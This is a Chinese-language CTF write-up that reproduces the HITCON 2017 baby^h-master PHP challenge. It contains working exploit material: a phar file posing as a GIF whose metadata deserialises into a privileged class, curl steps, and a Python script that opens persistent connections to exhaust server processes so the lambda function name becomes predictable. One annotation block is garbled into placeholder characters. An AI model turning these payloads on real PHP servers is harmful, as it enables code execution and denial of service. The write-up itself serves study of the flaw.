HITCON 2017 Baby^h-master-php-2017 分析及复现

云卷云舒 / 2017-12-13 09:07:12 / 浏览数 5861 技术文章 技术文章 顶(0) 踩(0)

0x01 baby^h-master

源码:

```
<?php
   $FLAG    = create_function("", 'die(`/read_flag`);');
   $SECRET  = `/read_secret`;
   $SANDBOX = "/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
   @mkdir($SANDBOX);
   @chdir($SANDBOX);
   if (!isset($_COOKIE["session-data"])) {
       $data = serialize(new User($SANDBOX));
       $hmac = hash_hmac("sha1", $data, $SECRET);
       setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
   }
   class User {
       public $avatar;
       function __construct($path) {
           $this->avatar = $path;
       }
   }
   class Admin extends User {
       function __destruct(){
           $random = bin2hex(openssl_random_pseudo_bytes(32));
           eval("function my_function_$random() {"
               ."  global \$FLAG; \$FLAG();"
               ."}");
           $_GET["lucky"]();
       }
   }
   function check_session() {
       global $SECRET;
       $data = $_COOKIE["session-data"];
       list($data, $hmac) = explode("-----", $data, 2);
       if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac))
           die("Bye");
       if ( !hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac) )
           die("Bye Bye");
       $data = unserialize($data);
       if ( !isset($data->avatar) )
           die("Bye Bye Bye");
       return $data->avatar;
   }
   function upload($path) {
       $data = file_get_contents($_GET["url"] . "/avatar.gif");
       if (substr($data, 0, 6) !== "GIF89a")
           die("Fuck off");
       file_put_contents($path . "/avatar.gif", $data);
       die("Upload OK");
   }
   function show($path) {
       if ( !file_exists($path . "/avatar.gif") )
           $path = "/var/www/html";
       header("Content-Type: image/gif");
       die(file_get_contents($path . "/avatar.gif"));
   }
   $mode = $_GET["m"];
   if ($mode == "upload")
       upload(check_session());
   else if ($mode == "show")
       show(check_session());
   else
       highlight_file(__FILE__);
```

从上面可以明白的看出需要获取flag就需要通过反序列化admin类来触发__destruct来完成.
这里有一个方法就是通过设置session-data的数据,但是这个地方是一个hash_hmac,没办法绕过.
所以问题就回到了如何构造一个反序列.

0day

php在解析phar对象时,会对metadata数据进行反序列化.
其实在Phar::getMetadata已经给出说明.

这句话的含义中透露出了Phar::setMetadata操作是会将数据进行序列化的.

在这里有一段测试代码

```
<?php

if(count($argv) > 1) {
   @readfile("phar://./deser.phar");
   exit;
}

class Hui {
   function __destruct() {
       echo "PWN\n";
   }
}

@unlink('deser.phar');
try {
   $p = new Phar(dirname(__FILE__) . '/deser.phar', 0);
   $p['file.txt'] = 'test';
   $p->setMetadata(new Hui());
   $p->setStub('<?php __HALT_COMPILER(); ?>');
} catch (Exception $e) {
   echo 'Could not create and/or modify phar:', $e;
}

?>
```

关于phar

phar是php5.3.0之后被内置成了组件,在5.2.0到5.3.0之间的版本就可以使用PECL扩展.
phar用来将php多个文件打包成一个文件.

```
$p['file.txt'] = 'test';
■■■■file.txt,■■■test■■file.txt■.■■■■■■■■■■■■■■■■;
■■■■http://php.net/manual/en/phar.using.object.php.

$p->setMetadata(new Hui());
■■■■■■■meta-data,■■■■■■■■php.ini■■■phar.readonly■Off,■■■■■■■■■■PharException■■.

$p->setStub('<?php __HALT_COMPILER(); ?>');
■■■■■■■■php■■■■
```

php中解析phar中的反序列化操作

上面测试代码的结果如下:

那么这道题的思路就是通过上传一个phar文件,之后使用phar解析,反序列化之后从而进入Admin类中的__destruct方法.

avatar.gif的poc

```
<?php
class Admin {
   public $avatar = 'orz';
}
$p = new Phar(__DIR__ . '/avatar.phar', 0);
$p['file.php'] = 'idlefire';
$p->setMetadata(new Admin());
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
rename(__DIR__ . '/avatar.phar', __DIR__ . '/avatar.gif');
?>
```

将生成好的avatar.gif上传.之后会出去另一个难点.

```
$FLAG = create_function("", 'die(`/read_flag`);');
```

虽然已经知道如何进入Admin类中,但是$FLAG是通过create_function创建的,并且是没有函数名的.
但其实这个匿名函数是有名字的,格式是\x00lambda_%d.
zend_builtin_functions.c

```
do {
            ZSTR_LEN(function_name) = snprintf(ZSTR_VAL(function_name) + 1, sizeof("lambda_")+MAX_LENGTH_OF_LONG, "lambda_%d",
        } while (zend_hash_add_ptr(EG(function_table), function_name, func) == NULL);
        RETURN_NEW_STR(function_name);
    } else {
        zend_hash_str_del(EG(function_table), LAMBDA_TEMP_FUNCNAME, sizeof(LAMBDA_TEMP_FUNCNAME)-1);
        RETURN_FALSE;
    }
```

做一个简单的测试

```
<?php
    create_function("", 'echo __FUNCTION__;');
    call_user_func("\x00lambda_1", 1);
```

其中的%d会从1一直进行递增,表示这是当前进程中第几个匿名函数.因此如果开启一个新的php进程,那么这个匿名函数就是\x00lambda_1,所以思路就是通过向Pre-fork模式

顺序:

```
curl --cookie-jar idlefire 'http://host/baby_master.php'
curl -b idlefire 'http://host/baby_master.php?m=upload&url=http://avatar.gif_host/'
python fork.py
curl -b idlefire 'http://host/baby_master.php?m=upload&url=phar:///var/www/html/e0240bf4f29341c1460ebd3fac968394/&lucky=%00lam
```

fork.py

```
# coding: UTF-8
# Author: orange@chroot.org

import requests
import socket
import time
from multiprocessing.dummy import Pool as ThreadPool
try:
    requests.packages.urllib3.disable_warnings()
except:
    pass

def run(i):
    while 1:
        HOST = 'x.x.x.x'
        PORT = 80
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((HOST, PORT))
        s.sendall('GET / HTTP/1.1\nHost: 192.168.59.137\nConnection: Keep-Alive\n\n')
        # s.close()
        print 'ok'
        time.sleep(0.5)

i = 8
pool = ThreadPool( i )
result = pool.map_async( run, range(i) ).get(0xffff)
```

结果:

0x02

欢迎daolao交流...
官方wp

上一篇：CVE-2014-0160分析 下一篇：JBOOS反序列化漏洞复现
1. 0 条回复

- 动动手指，沙发就是你的了！

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板